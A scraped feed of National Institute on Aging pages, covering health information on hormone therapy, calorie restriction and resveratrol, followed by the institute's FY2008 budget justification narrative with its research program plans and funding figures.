<li><strong>Dementia—</strong>Some studies suggest that estrogen may protect against Alzheimer’s disease. However, this has not yet been proven. In 2003, researchers in a sub-study of the WHI, called the WHI Memory Study (WHIMS), reported that women age 65 and older who take a combination of estrogen and progestin were at twice the risk for developing dementia than women who do not take any hormones. In 2004, these WHIMS scientists reported that using estrogen alone could also increase the risk of developing dementia in women age 65 and older compared to women not taking any hormones.</li>
</ul>
<p>For all the research findings, there are still many unknowns about the risks of MHT. For instance, scientists have not yet determined if risks differ between women who have menopausal symptoms and those who don’t. Also, because women in their early 50’s were only a small part of the WHI, scientists do not yet know if certain risks are applicable to younger women who use estrogen to control symptoms during the menopausal transition.</p>
<p>You may also have heard about a relatively new approach to hormone therapy for women—bioidentical hormones. These are man-made hormones (from plants such as soy or yams) that have the same chemical structure as hormones produced by the human body. The term “bioidentical hormones” is now also being applied to the practice of compounding or combining hormones such as estrogen and progesterone, theoretically based on a woman’s individual hormonal needs. Large clinical trials of these compound hormones have not been done, and many bioidentical hormones that are available without a prescription are not regulated or approved for safety and efficacy by the FDA. FDA-regulated bioidentical hormones, such as estradiol and progesterone, are available by prescription for women considering MHT.</p>
<p>For middle age and older women, the decision to take hormones is far more complex and difficult than ever before. Questions about menopausal hormone therapy remain: Would using a different estrogen and/or progestin or different dose change the risks? Would the results be different if the hormones were given as a patch or cream, rather than a pill? Would taking the progestin less often be as effective and safe? Does starting menopausal hormone therapy around the time of menopause compared to years later change the risks? Can we predict which women will benefit or be harmed by using menopausal hormone therapy? As these and other questions are addressed by research, women should re-review the pros and cons of menopausal hormone therapy with their doctors, assess the personal risks and benefits, and then make an informed decision about whether or not this therapy is for them.</p>
<p>NIA has additional free information on menopausal hormone therapy. Call 1-800-222-2225 (toll-free) or visit the NIA website at <a href="http://www.nia.nih.gov/HealthInformation"><em>www.nia.nih.gov/HealthInformation</em></a>.</p>
<h4 style="color: #339999;">Calorie Restriction, Intermittent Fasting, and Resveratrol</h4>
<p>Scientists are discovering that what you eat, how frequently, and how much may have an effect on quality and years of life. Of particular interest has been calorie restriction, a diet comprised by generally 25 to 40 percent fewer calories than normal but including all needed nutrients. Research in animals has shown calorie restriction to have an impressive effect on disease and markers of aging. It has been found to extend the life of protozoa (very small, one-celled organisms), yeast, fruit flies, mice, and rats. Recent calorie restriction studies with humans and other primates, such as monkeys, are on-going. However, early findings of the Comprehensive Assessment of Long-term Effects of Reducing Intake of Energy (CALERIE) study, show that adults who cut their calorie consumption by 25 percent lowered their fasting insulin levels and core body temperature, both of which correlate with increased longevity in animal models. In other studies with non-human primates, researchers have found that calorie restriction reduced incidence of heart disease and cancer.</p>
<p>Scientists do not know if long-term calorie restriction is safe for humans. It is unclear whether or not a calorie-restricted diet will ever be recommended for people. However, studying calorie restriction may offer new insights into the aging process and biological mechanisms that could influence healthy aging. This research may also provide clues about how to prevent or delay diseases that become more prevalent with age.</p>
<p>Other ongoing studies focus on identifying chemicals that mimic calorie restriction’s benefits.  Resveratrol, found naturally in very small amounts in grapes and nuts, is one of the compounds being studied.  Scientists compared two groups of overweight mice on a high fat diet. One group was given a high dose of resveratrol.  <strong>The overweight mice receiving resveratrol were healthier and lived longer than the other overweight group.</strong> In a follow-up study, scientists found that, when started at middle age, resveratrol slowed age-related health problems in mice on a standard diet but did not increase longevity.  More research is needed before scientists know if resveratrol is safe for people or even if it has the same effects as it has in mice.</p>
<p>Scientists are also studying the effect of intermittent fasting or reduced meal frequency. In animal models, like mice, reduced meal frequency appears to have a protective effect on the brain and may also help with heart function and regulating sugar in the blood. However, the influence of intermittent fasting on human health and longevity is currently unclear.</p>
<p>While research into calorie restriction and intermittent fasting continues, there is already plenty of research supporting the value of a healthy, balanced diet and physical activity to help delay or prevent age-related health problems.</p>
<h4 style="color: #339999;">Many Questions, Seeking Answers</h4>
<p>NIA supports research that seeks to tell us more about aging and the risks and benefits of potential interventions such as hormone therapies, supplements, and calorie restriction. One goal is to determine whether DHEA, melatonin, and other hormonal supplements improve the health of older people, have no effect, or are harmful. Researchers are also trying to determine if calorie restriction is safe for humans and if there are any compounds that could replicate in humans the benefits of calorie restriction seen in animals.</p>
<p>These studies will take some time. Research on supplements and calorie restriction is ongoing and a great deal of basic animal and clinical research is yet to be done. Don’t be surprised if these studies open the door to more questions as well as answers. Research is an incremental process; results can move knowledge forward, but can also take you back to basics.</p>
<p>Until more is known about DHEA, melatonin, hGH, and resveratrol, consumers should view these types of supplements with a good deal of caution and doubt. Despite what advertisements and media, like television and magazines, may claim, there are no specific therapies proven to “prevent” aging. Some harmful side effects already have been discovered and additional research may uncover others.</p>
<p>People with genuine deficiencies of hormones should consult with their doctors about supplements. Talk to your doctor if you are interested in any form of hormone supplementation or “anti-aging” approaches beyond healthy diet and physical activity. Meanwhile, people who choose to take any hormone supplement without a doctor’s supervision should be aware that these supplements appear to have few clear-cut benefits for healthy individuals and no proven influence on the aging process.</p>
<h4 style="color: #339999;">For more information on health and aging, contact:</h4>
<p><strong>National Institute on Aging Information Center<br />
</strong>P.O. Box 8057<br />
Gaithersburg, MD 20898-8057<br />
800-222-2225 (toll-free)<br />
800-222-4225 (TTY/toll-free)<br />
<em><a href="http://www.nia.nih.gov/">www.nia.nih.gov</a><br />
<a href="http://www.nia.nih.gov/Espanol">www.nia.nih.gov/Espanol</a></em></p>
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		<title>As life expectancy increases, we are challenged to find ways to keep the additional years of life free of disease and disability.</title>
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		<pubDate>Wed, 03 Sep 2008 14:29:03 +0000</pubDate>
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		<description><![CDATA[This document provides justification for the Fiscal Year (FY) 2008 activities of the National Institute on Aging (NIA), including NIH/AIDS activities. Details of the FY 2008 HIV/AIDS activities are in the &#8220;Office of AIDS Research (OAR)&#8221; section of the Overview. Details on the Roadmap/Common Fund are located in the Overview, Volume One. Director&#8217;s Overview There [...]]]></description>
				<content:encoded><![CDATA[<p>This document provides justification for the Fiscal Year (FY) 2008 activities of the National Institute on Aging (NIA), including NIH/AIDS activities. Details of the FY 2008 HIV/AIDS activities are in the &#8220;Office of AIDS Research (OAR)&#8221; section of the Overview. Details on the Roadmap/Common Fund are located in the Overview, Volume One.</p>
<h2><strong><a id="overview" name="overview"></a>Director&#8217;s Overview</strong></h2>
<p>There are currently 35 million Americans over the age of 65. Of these, more than four million are over 85, and some 65,000 have attained their hundredth birthday. By 2030, the number of individuals age 65 and older will likely double, reaching 70.3 million and comprising a larger proportion of the entire population, rising from 13 percent today to 20 percent in 2030, and the number of the &#8220;oldest old&#8221; &#8212; people age 85 and older &#8212; is expected to grow from 4.3 million in 2000 to at least 19.4 million by 2050. <a id="_ftnref1" name="_ftnref1" href="http://www.nia.nih.gov/nia.nih.gov/Templates/Common/CommonPage.aspx?NRMODE=Published&amp;NRNODEGUID=%7bD9CFB05A-6A71-4575-B66C-E14375082733%7d&amp;NRORIGINALURL=%2fAboutNIA%2fBudgetRequests%2fFY2008%2fnarrative%2ehtm&amp;NRCACHEHINT=Guest#_ftn1">1</a></p>
<p>As life expectancy increases, we are challenged to find ways to keep the additional years of life free of disease and disability. Today, more than half of all Americans over age 65 show evidence of osteoarthritis in at least one joint.<a id="_ftnref2" name="_ftnref2" href="http://www.nia.nih.gov/nia.nih.gov/Templates/Common/CommonPage.aspx?NRMODE=Published&amp;NRNODEGUID=%7bD9CFB05A-6A71-4575-B66C-E14375082733%7d&amp;NRORIGINALURL=%2fAboutNIA%2fBudgetRequests%2fFY2008%2fnarrative%2ehtm&amp;NRCACHEHINT=Guest#_ftn2">2</a> Over half of Americans older than 50 have osteoporosis or low bone mass.<a id="_ftnref3" name="_ftnref3" href="http://www.nia.nih.gov/nia.nih.gov/Templates/Common/CommonPage.aspx?NRMODE=Published&amp;NRNODEGUID=%7bD9CFB05A-6A71-4575-B66C-E14375082733%7d&amp;NRORIGINALURL=%2fAboutNIA%2fBudgetRequests%2fFY2008%2fnarrative%2ehtm&amp;NRCACHEHINT=Guest#_ftn3">3</a> Cardiovascular disease, cancer, and diabetes remain common among older Americans, and as many as 4.5 million Americans suffer from Alzheimer&#8217;s disease (AD).<a id="_ftnref4" name="_ftnref4" href="http://www.nia.nih.gov/nia.nih.gov/Templates/Common/CommonPage.aspx?NRMODE=Published&amp;NRNODEGUID=%7bD9CFB05A-6A71-4575-B66C-E14375082733%7d&amp;NRORIGINALURL=%2fAboutNIA%2fBudgetRequests%2fFY2008%2fnarrative%2ehtm&amp;NRCACHEHINT=Guest#_ftn4">4</a> For many, modern medicine and new insights into lifestyle and other environmental influences are allowing people to remain healthy and socially and emotionally vital into very advanced ages; however, NIA supported research continues to address the needs of the growing number of people who will live longer.</p>
<p>The National Institute on Aging (NIA) leads a national scientific effort to understand the nature of aging and to extend the healthy, active years of life for all Americans. NIA achieves its mission through a robust extramural research program composed of the four research areas as described in the Budget Justification section plus a vibrant intramural research program.</p>
<p>NIA&#8217;s research programs cover a wide range of topics critical to understanding aging and its interaction with the initiation and progression of disease and disability. For example, NIA research has identified lifestyle factors and health behaviors that directly influence physical and mental fitness and risk of disease in aging populations. NIA-supported scientists develop and refine recommendations for people of all ages regarding optimal diet, dietary supplement use, exercise, and safety to increase their likelihood of enjoying a physically and mentally healthy old age. Other researchers work to find better ways to enhance the physical, mental, and interpersonal capabilities of older people and to expand opportunities for them to achieve personal goals and contribute to society in meaningful ways. Still others explore the molecular, cellular, and genetic changes that take place in the body as we age, with the ultimate goal of developing new prevention strategies and novel therapeutic approaches to eliminate or delay the debilitating physical, cognitive, and psychological changes that can occur.</p>
<p>As the research on aging advances, NIA will focus more effort on the translation of basic research findings into clinical studies and trials. The institute supports large multidisciplinary programs in translational research, including:</p>
<ul>
<li>Edward R. Roybal Centers for Research on Applied Gerontology, designed to advance promising social and behavioral basic research findings from the laboratory and into programs, practices, and policies to improve the lives of older people and enhance the capacity of the nation to adapt to the societal shifts that come with an aging population.</li>
<li>Claude D. Pepper Older American Independence Centers (OAIC), established to increase scientific knowledge for the development of innovative and cost-effective ways to maintain and restore independence.</li>
<li>The Alzheimer&#8217;s Disease Translational Initiative, a major effort to encourage more researchers to move from basic research on Alzheimer&#8217;s disease and associated disorders into translational research and drug testing in clinical trials. Components of this initiative include program announcements on drug discovery and preclinical development and a program of toxicology services for academic and small business investigators who believe they have promising compounds for the treatment or prevention of Alzheimer&#8217;s disease but lack the resources to perform the required toxicology studies.</li>
</ul>
<p>Additional translational research efforts include:</p>
<ul>
<li>Recent findings which have shown that overweight, aged male mice whose high-calorie diet was supplemented with the natural compound resveratrol had better health and longer survival than their counterparts who did not receive it. NIA plans to test the effects of dietary supplementation with resveratrol in non-human primates, an important step to inform the consideration of human clinical trials.</li>
<li>Several studies which suggest that physical exercise may prevent physical disability, including impaired mobility, in healthy and frail older adults. To develop definitive evidence, NIA and grantee researchers have developed the LIFE (Lifestyle Interventions and Independence in Elders) study, a clinical trial testing the effects of a physical activity program vs. a health education program among older Americans. A successful pilot study (LIFE-P) completed in 2005 showed both feasibility and positive preliminary data, permitting design and consideration of this large-scale clinical trial.</li>
<li>A large body of research in animal models which indicates that substantially reducing caloric intake while maintaining optimal nutrition results in significant increase in life span. NIA-supported Comprehensive Assessment of Long-Term Effects of Reducing Intake of Energy (CALERIE) will help to determine if these beneficial effects extend to humans. Results from pilot studies demonstrated that overweight people who cut their calories by 25 percent for six months have reduced fasting insulin levels and core body temperature, two markers that may be associated with increased longevity in humans. A longer-term study will begin in January 2007. <strong></strong></li>
</ul>
<p>NIA&#8217;s Intramural Research Program is very active in the translation of basic research findings to clinical studies. One of its primary resources, the Advanced Studies in Translational Research on Aging (ASTRA) unit, is a state-of-the-art facility located at Baltimore&#8217;s Harbor Hospital. ASTRA, opened in January 2003, is equipped with a fully functional 10-bed acute care inpatient unit, an outpatient examination and treatment unit, and other resources vital to the conduct of translational research. Recently, the Baltimore Longitudinal Study of Aging, which has been the gold-standard reference for all epidemiological studies on aging, was moved to the ASTRA unit where NIA plans to launch a number of ancillary studies that are more likely to provide information that can be directly applied to clinical medicine.</p>
<h2><strong><a id="policy" name="policy"></a>Overall Budget Policy</strong></h2>
<p>Investigator-initiated research projects and new investigator research and career development are the Institute&#8217;s highest priorities. In order to maximize the number of competing research project grants that can be made, NIA has a cap on the amount that can be awarded to individual program project awards and is following the NIH policy in providing no inflationary increases for non-competing or competing grants. In addition, the NIA has targeted a portion of the funds available for competing research project grants to support high priority projects outside of the payline, including awards to new investigators and first-time renewals. The Institute also seeks to maintain a balance between solicitations issued to the extramural community in areas that need stimulation and funding made available to support investigator-initiated projects.</p>
<h2><strong><a id="program" name="program"></a>Narrative by Program </strong></h2>
<h4><span style="text-decoration: underline;"><a id="bap" name="bap"></a>Biology of Aging Program:<br />
Understanding Aging Processes, Health, and Longevity </span></h4>
<p>Investigators supported by NIA&#8217;s Biology of Aging Program (BAP) seek to better understand the basic biochemical, genetic, and physiological mechanisms that underlie the process of aging and age-related changes in humans and in animal models. BAP supports research on age-related changes in structure and function, from the molecular and cellular level to entire organisms, as well as the ways in which these changes are related to diseases and conditions common to aging. This program supports integrated research on genetics and other aspects of aging-related changes in multiple model systems, including both mammals and non-mammalian organisms (e.g. flies, worms, and yeast).</p>
<p><span style="text-decoration: underline;">Budget Policy</span>: The 2008 budget estimate for the Biology of Aging Program is $175,672,000, an increase of $72,000 or 0.04 percent from the FY 2007 Continuing Resolution of $175,600,000. Program objectives for FY 2008 include plans to:</p>
<ul>
<li><em>Continue the search for interventions that extend the lifespan.</em> The recent finding that resveratrol could affect the health and survival of mammals exemplifies the promise of this research. An important component in this area is the Intervention Testing Program, which supports the testing of compounds with the potential to extend the lifespan and delay disease and dysfunction in a mouse model. Plans are to renew this promising initiative in FY 2007 for funding in FY 2008.</li>
<li><em>Continue to search for genes and biological pathways that influence longevity and aging</em>. NIA&#8217;s primary mechanism for this endeavor is the Longevity Associated Gene initiative, which to date has identified over one hundred new longevity-associated genes, along with many conserved biological processes and pathways that regulate longevity in a host of divergent species, including humans.</li>
<li><em>Increase our understanding of the aging immune system</em>. A new initiative on &#8220;Membrane Associated Signaling Defects in Immune Cells with Aging&#8221; seeks to shed light on the cellular processes that may lead to impaired immune function in older people.</li>
<li><em>Understand the role of nuclear receptors in aging.</em> Research supported under two complementary program announcements will focus on the biologic mechanisms that underlie the activity of nuclear receptors, which are molecules that play key roles in various physiologic and pathophysiologic processes, including those involved in aging and in age-related diseases.</li>
<li><em>Continue the highly successful Nathan Shock Centers of Excellence in Basic Biology of Aging. </em>These centers enhance the ability of institutions with well-developed research programs in basic research on aging to use state-of-the-art research resources to provide the strongest environment for the conduct of research on aging.</li>
</ul>
<h4><span style="text-decoration: underline;"><a id="bsr" name="bsr"></a>Behavioral and Social Research Program:<br />
Understanding and Addressing the Behavioral, Emotional, and Social Dynamics of Aging</span></h4>
<p>NIA Behavioral and Social Research Program (BSR) supports social and behavioral research to better understand the processes of aging at both the individual and societal level. Research areas include the behavioral, emotional, and social changes individuals undergo throughout the adult lifespan; interrelationships between older people and social institutions; and the societal impact of the changing age composition of the population. BSR also supports research training, development of research resources, and a knowledge base for the development of interventions to maximize active life and health expectancy.</p>
<p><span style="text-decoration: underline;">Budget Policy</span>: The 2008 budget estimate for the Behavioral and Social Research Program is $168,850,000, an increase of $70,000 or 0.04 percent from the FY 2007 Continuing Resolution of $168,780,000. Program plans for FY 2008 are to:</p>
<ul type="disc">
<li><em>Initiate a new wave of the National Long-Term Care Survey (NLTCS) and continue other major demographic studies.</em> The NLTCS is a longitudinal survey to study changes in the health and functional status of older Americans and track health expenditures; Medicare services used; and the availability of personal, family, and community resources for caregiving. It is considered one of the most useful resources for analyzing national disability trends. Other important ongoing studies include the Health and Retirement Survey and collaborations with the Census Bureau and the Federal Forum on Aging.</li>
<li><em>Support research initiatives to address financial challenges faced by American elders.</em> Funding for two major initiatives in this area will run through FY 2008. One initiative, &#8220;Developing Integrated Economic Models of Health Retirement,&#8221; will stimulate development of comprehensive econometric models of retirement from the labor force. The other focuses on the neuroeconomics of aging and supports research to examine the social, emotional, cognitive, motivational processes and neurobiological mechanisms of decision-making behavior in older people.</li>
<li><em>Support research on ways in which data from ongoing clinical trials and other studies can be used to plan and prepare for future natural and man-made disasters.</em> Three coordinated research solicitations focused on behavioral and social aspects of disasters were released in 2006 to stimulate research on the consequences of natural and man-made disasters and their effects on the health of vulnerable groups, with the ultimate goal of preventing and/or mitigating harmful consequences.</li>
</ul>
<h4><span style="text-decoration: underline;"><a id="nna" name="nna"></a>Neuroscience and Neuropsychology of Aging:<br />
Understanding, Preventing, and Treating Cognitive Decline and Disability <strong></strong></span></h4>
<p>NIA&#8217;s Neuroscience and Neuropsychology of Aging (NNA) Program supports a broad spectrum of research and training aimed at better understanding age-related normal and pathological changes in the structure and function of the nervous system and how such changes affect behavior. The basic mission is to expand knowledge on the aging nervous system to allow improvement in the quality of life of older people. This includes basic and clinical studies of the nervous system, clinical trials of treatments and preventive interventions for neurological disease, and epidemiological research to identify risk factors and to establish prevalence and incidence estimates of pathologic conditions. Additionally, it supports research relevant to those geriatric problems arising from psychiatric and neurologic disorders associated with aging.</p>
<p><span style="text-decoration: underline;">Budget Policy</span>: The 2008 budget estimate for Neuroscience and Neuropsychology of Aging Program is $413,131,000, an increase of $171,000 or 0.04 percent from the FY 2007 Continuing Resolution of $412,960,000. Program plans for FY 2008 are to:</p>
<ul type="disc">
<li><em>Continue to support high-quality research on Alzheimer&#8217;s disease (AD).</em> Alzheimer&#8217;s disease is a major public health issue for the United States because of its enormous impact on individuals, families, the health care system, and society as a whole. NIA supports a robust portfolio that encompasses all areas of AD research, from the disease&#8217;s molecular underpinnings to cutting-edge diagnostic and treatment modalities. NIA will continue a comprehensive drug development program and pilot trials initiative plus a cooperative agreement with the University of California, San Diego to conduct several new clinical trials of interventions to treat AD through the Alzheimer&#8217;s Disease Cooperative Study. (See the &#8220;program portrait.&#8221;)</li>
<li><em>Support research on maintenance of cognitive and emotional health into older age.</em> NIA joined with the National Institute of Mental Health and the National Institute on Neurological Disorders and Stroke to launch the Cognitive and Emotional Health Project, which is designed to assess the state of longitudinal and epidemiological research on demographic, social, and biologic determinants of cognitive and emotional health in aging adults and the pathways by which cognitive and emotional health may reciprocally influence each other. A &#8220;Cognitive Health Summit&#8221; planned for Spring 2007 will inform future research in this area.</li>
<li><em>Develop new tools, resources, and training opportunities to accelerate the pace of discovery in neuroscience research through participation in the NIH Blueprint for Neuroscience Research.</em> NIA is one of fifteen NIH Institutes that participate in the Blueprint, designed to enhance collaboration through coordinated initiatives. The first Blueprint initiatives began in FY 2005. The priority in FY 2007 is neurodegeneration with neurodevelopment the priority in FY 2008.</li>
<li><em>Continue research on neurological diseases and conditions other than AD that occur in older Americans, including Parkinson&#8217;s disease, frontotemporal dementia (FTD), and amyotrophic lateral sclerosis (ALS). </em>This research is an important component of NIA&#8217;s portfolio. NIA-supported researchers recently identified a misfolded protein that is common to FTD and ALS, which provides important insights about the mechanisms of both diseases.</li>
</ul>
<p><strong><a id="ad" name="ad"></a></strong></p>
<table border="2" cellspacing="3" cellpadding="3" width="100%" bordercolor="#000000">
<tbody>
<tr>
<td><strong>Program Portrait: Alzheimer&#8217;s Disease Research </strong><br />
<strong>FY 2007 level: $503,160,000</strong><br />
<strong>FY 2008 level: $503,660,000</strong><br />
<strong>Change: $ 500,000</strong></p>
<p>Alzheimer&#8217;s disease (AD) is the most common cause of dementia among people age 65 and older. Scientists estimate that as many as 4.5 million Americans suffer with the disease, and this number is expected to increase almost three-fold by 2050.<a id="_ftnref5" name="_ftnref5" href="http://www.nia.nih.gov/nia.nih.gov/Templates/Common/CommonPage.aspx?NRMODE=Published&amp;NRNODEGUID=%7bD9CFB05A-6A71-4575-B66C-E14375082733%7d&amp;NRORIGINALURL=%2fAboutNIA%2fBudgetRequests%2fFY2008%2fnarrative%2ehtm&amp;NRCACHEHINT=Guest#_ftn5">5</a> Research into the causes, detection, diagnosis, treatment, and prevention of AD is a major priority for the National Institute on Aging (NIA). In fact, since its inception in 1974, NIA has dedicated the majority of its research budget to the study of AD and AD-related processes.</p>
<p>NIA supports AD-related research through both investigator-initiated projects and targeted initiatives such as the Alzheimer&#8217;s disease Neuroimaging Initiative<strong> </strong>(ADNI), a five-year study that is the most comprehensive effort to date to identify brain and other biological changes associated with memory decline. The goal of the AD Genetics Initiative advances the search for genes associated with AD. A large, widely-available bank of genetic material, cell lines, and data from families with multiple members with late-onset AD has accelerated NIA&#8217;s efforts to identify these genes. Discovery of risk factor genes will help illuminate the underlying disease processes of AD, open up novel areas of research, and identify new targets for drug therapy. NIA also launched a major AD drug discovery effort, complemented by a pilot clinical trials program. This research initiative seeks to stimulate preclinical research in the discovery, design, development and testing of novel compounds aimed at slowing, halting, or even reversing the progressive decline in cognitive function and modifying the behavioral symptoms in</p>
<p>Alzheimer&#8217;s disease as well as delaying the onset of or preventing AD. In addition, the institute currently supports some 25 AD clinical trials. Finally, NIA facilitates the dissemination of the latest information about AD through its Alzheimer&#8217;s Disease Education and Referral (ADEAR) center, which has provided accurate, up-to-date information concerning AD to health professionals, people with AD and their families, and the general public since 1990. These<br />
activities, along with NIA&#8217;s ongoing program of investigator-initiated research in AD, will continue through FY 2008.</p>
<p>In October 2006, NIA held a major scientific meeting to discuss future directions for the NIH Alzheimer&#8217;s disease research agenda, with particular attention to research issues that need to be addressed in order to improve diagnosis and treatment of AD. This meeting brought together internationally-recognized experts in the field, and the results will inform NIA&#8217;s research agenda in AD over the next few years.</td>
</tr>
</tbody>
</table>
<h4><span style="text-decoration: underline;"><a id="gcg" name="gcg"></a>Geriatrics and Clinical Gerontology Program:<br />
Reducing Disease and Disability Among Older People</span></h4>
<p>As we age, our risk for many other types of disease and/or disability increases dramatically. NIA&#8217;s Geriatrics and Clinical Gerontology (GCG) Program supports research on health, disease, and disability in the aged (other than neurodegeneration, which is the focus of the NNA Program). Areas of focus include age-related physical changes and their relationship to health outcomes, the maintenance of health and the development of disease, and specific age-related risk factors for disease. The program also plans and administers clinical trials.</p>
<p><span style="text-decoration: underline;">Budget Policy</span>: The 2008 budget estimate for the Geriatrics and Clinical Gerontology Program is $135,148,000, an increase of $55,000 or 0.04 percent from the FY 2007 Continuing Resolution of $135,093,000. Program objectives for FY 2008 include plans to:</p>
<ul type="disc">
<li><em>Initiate studies of venous and arterial thrombosis in the elderly. </em>Advanced age is associated with a dramatic increase in venous and arterial thrombosis (the development of dangerous blood clots in the veins and arteries). However, the biologic mechanisms for this increased risk are poorly understood. A new initiative will explore the biological mechanisms, epidemiology, pathophysiology, and clinical aspects (diagnosis, treatment, and prevention) of this common condition.</li>
<li><em>Continue clinical trials of the efficacy and safety of testosterone in older men for a variety of conditions.</em> Two trials are targeted to begin in mid-2007 &#8212; one for men over 65 and one for younger men. The trials are expected to run for approximately six years. Participants will include men who are experiencing clinical symptoms related to low testosterone levels. Although these are treatment studies, the results may inform future prevention trials.</li>
<li><em>Continue research on anemia in the elderly</em>. Anemia is common among older people; however, over half<strong> </strong>the cases of anemia in older adults occur without a clearly identifiable cause. An ongoing program supports research to better understand the epidemiology, pathophysiology, and clinical aspects of anemia in the elderly. Findings from this research may prove critical to the development of clinical trials.</li>
</ul>
<h3><span style="text-decoration: underline;"><a id="intramural" name="intramural"></a>Intramural Research at NIA</span></h3>
<p>NIA&#8217;s Intramural Research Program (IRP) includes the scientific disciplines of biochemistry, cell and molecular biology, structural biology, genetics, immunology, neurogenetics, behavioral sciences (psychology, cognition, and psychophysiology), epidemiology, statistics, and clinical research and the medical disciplines of neurobiology, immunology, endocrinology, cardiology, rheumatology, hematology, oncology, and gerontology. The program seeks to understand the changes associated with healthy aging and to define the criteria for evaluating when a change becomes pathologic. Studies focus on both common age-related diseases (e.g., Alzheimer&#8217;s disease, Parkinson&#8217;s disease, stroke, atherosclerosis, osteoarthritis, diabetes, cancer) and the determinants of healthy aging.</p>
<p>In 2008, NIA&#8217;s IRP will celebrate the 50th anniversary of the Baltimore Longitudinal Study of Aging, America&#8217;s longest-running scientific study of human aging. More than 1,400 men and women, ranging in age from the 20s to the 90s, have been study volunteers. Since its inception in 1958, the BLSA has generated numerous findings to elucidate the normal course of aging and disentangle the effects of disease from the normal aging process.</p>
<p><span style="text-decoration: underline;">Budget Policy</span>: The 2008 budget estimate for NIA&#8217;s Intramural Research Program is $101,370,000, a decrease of $710,000 or 0.7 percent from the FY 2007 Continuing Resolution of $102,080,000. Program objectives for FY 2008 include plans to:</p>
<ul type="disc">
<li><em>Determine the effectiveness of already available therapeutic agents for prevention in models of heart disease.</em> Animal studies suggest that the compound fenoterol, widely used for treatment of pulmonary disease, may be effective in the treatment of congestive heart failure. Other studies in animal models have shown that the drug erythropoietin, used to treat certain types of anemia, has a protective effect on the heart if administered shortly after a heart attack. NIA&#8217;s IRP is conducting preclinical testing of both agents with the goal of moving them into human clinical trials in future years.</li>
<li><em>Continue to study the effects of obesity and sarcopenia on health outcomes.</em> The Health, Aging, and Body Composition (Health ABC) Study is an ongoing study of body composition and weight-related health conditions. Clinical examinations will end in 2007, at which time NIA plans to initiate five years of focused event follow-up for physical and cognitive function, selected disease endpoints (fracture, heart disease, cancer, and stroke), cause-of-death assessment, and maintenance of the biorepository.</li>
<li><em>Continue to study the driving factors behind persistent black-white health disparities in overall longevity, cardiovascular disease, and cerebrovascular disease.</em> NIA is in the midst of data collection for its ground-breaking Healthy Aging in Neighborhoods of Diversity Across the Life Span (HANDLS) study. HANDLS is a community-based, epidemiological study for evaluating health disparities in socioeconomically diverse African American and white populations in Baltimore, Maryland.</li>
</ul>
<h3><span style="text-decoration: underline;"><a id="management" name="management"></a>Research Management Support</span></h3>
<p>NIA RMS activities provide administrative, budgetary, logistical, and scientific support in the review, award, and monitoring of research grants, training awards and research and development contracts. RMS functions also encompass strategic planning, coordination, and evaluation of the Institute&#8217;s programs, regulatory compliance, international coordination, and liaison with other Federal agencies, Congress, and the public. The Institute currently oversees more than 1,840 research project grants and centers, as well as more than 500 full-time training positions and 100 research and support contracts.</p>
<p><span style="text-decoration: underline;">Budget Policy</span>: The 2008 budget estimate for NIA&#8217;s Research Management and Support is $39,194,000, an increase of $388,000 or 1.0 percent over the FY 2007 Continuing Resolution of $38,806,000. Additional funds will be used to partially offset the costs associated with pay raises and other mandatory increases.</p>
<div id="ftn1"><a id="_ftn1" name="_ftn1" href="http://www.nia.nih.gov/nia.nih.gov/Templates/Common/CommonPage.aspx?NRMODE=Published&amp;NRNODEGUID=%7bD9CFB05A-6A71-4575-B66C-E14375082733%7d&amp;NRORIGINALURL=%2fAboutNIA%2fBudgetRequests%2fFY2008%2fnarrative%2ehtm&amp;NRCACHEHINT=Guest#_ftnref1">1</a> Federal Interagency Forum on Aging Related Statistics. <em>Older Americans 2000: Key Indicators of Well-Being.</em> 2000.</div>
<div id="ftn2">
<p><a id="_ftn2" name="_ftn2" href="http://www.nia.nih.gov/nia.nih.gov/Templates/Common/CommonPage.aspx?NRMODE=Published&amp;NRNODEGUID=%7bD9CFB05A-6A71-4575-B66C-E14375082733%7d&amp;NRORIGINALURL=%2fAboutNIA%2fBudgetRequests%2fFY2008%2fnarrative%2ehtm&amp;NRCACHEHINT=Guest#_ftnref2">2</a> See &#8220;Handout on Health: Osteoarthritis,&#8221; National Institute of Arthritis and Musculoskeletal and Skin Diseases, July 2002.</div>
<div id="ftn3">
<p><a id="_ftn3" name="_ftn3" href="http://www.nia.nih.gov/nia.nih.gov/Templates/Common/CommonPage.aspx?NRMODE=Published&amp;NRNODEGUID=%7bD9CFB05A-6A71-4575-B66C-E14375082733%7d&amp;NRORIGINALURL=%2fAboutNIA%2fBudgetRequests%2fFY2008%2fnarrative%2ehtm&amp;NRCACHEHINT=Guest#_ftnref3">3</a> See <span style="text-decoration: underline;">America</span><span style="text-decoration: underline;">&#8216;s Bone Health: The State of </span><span style="text-decoration: underline;">Osteoporosis</span><span style="text-decoration: underline;"> and Low Bone Mass in Our Nation.</span> National Osteoporosis Foundation, February 2002.</div>
<div id="ftn4">
<p><a id="_ftn4" name="_ftn4" href="http://www.nia.nih.gov/nia.nih.gov/Templates/Common/CommonPage.aspx?NRMODE=Published&amp;NRNODEGUID=%7bD9CFB05A-6A71-4575-B66C-E14375082733%7d&amp;NRORIGINALURL=%2fAboutNIA%2fBudgetRequests%2fFY2008%2fnarrative%2ehtm&amp;NRCACHEHINT=Guest#_ftnref4">4</a> Hebert LE et al.: Alzheimer disease in the U.S. population: Prevalence estimates using the 2000 Census. <span style="text-decoration: underline;">Arch. Neurol.</span> 60: 1119-22, 2003.</div>
<p><a id="_ftn5" name="_ftn5" href="http://www.nia.nih.gov/nia.nih.gov/Templates/Common/CommonPage.aspx?NRMODE=Published&amp;NRNODEGUID=%7bD9CFB05A-6A71-4575-B66C-E14375082733%7d&amp;NRORIGINALURL=%2fAboutNIA%2fBudgetRequests%2fFY2008%2fnarrative%2ehtm&amp;NRCACHEHINT=Guest#_ftnref5">5</a> Hebert, op. cit.</p>
<p><span id="RadEditorPlaceHolderControl1">National Institute on Aging | http://www.nia.nih.gov<br />
</span></p>
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		<title>Study Demonstrates Improved Health, Survival In Aged Overweight Male Mice on Resveratrol</title>
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		<pubDate>Wed, 03 Sep 2008 14:09:15 +0000</pubDate>
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				<category><![CDATA[Uncategorized]]></category>
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		<description><![CDATA[Overweight aged male mice whose high calorie (fat) diet was supplemented by resveratrol, a natural compound found in common foods like grapes, wines and nuts, had better health and survival than aged overweight mice who did not receive it, according to a study published online in the Nov. 1 issue of Nature. The study was [...]]]></description>
				<content:encoded><![CDATA[<p><span id="RadEditorPlaceHolderControl1"></p>
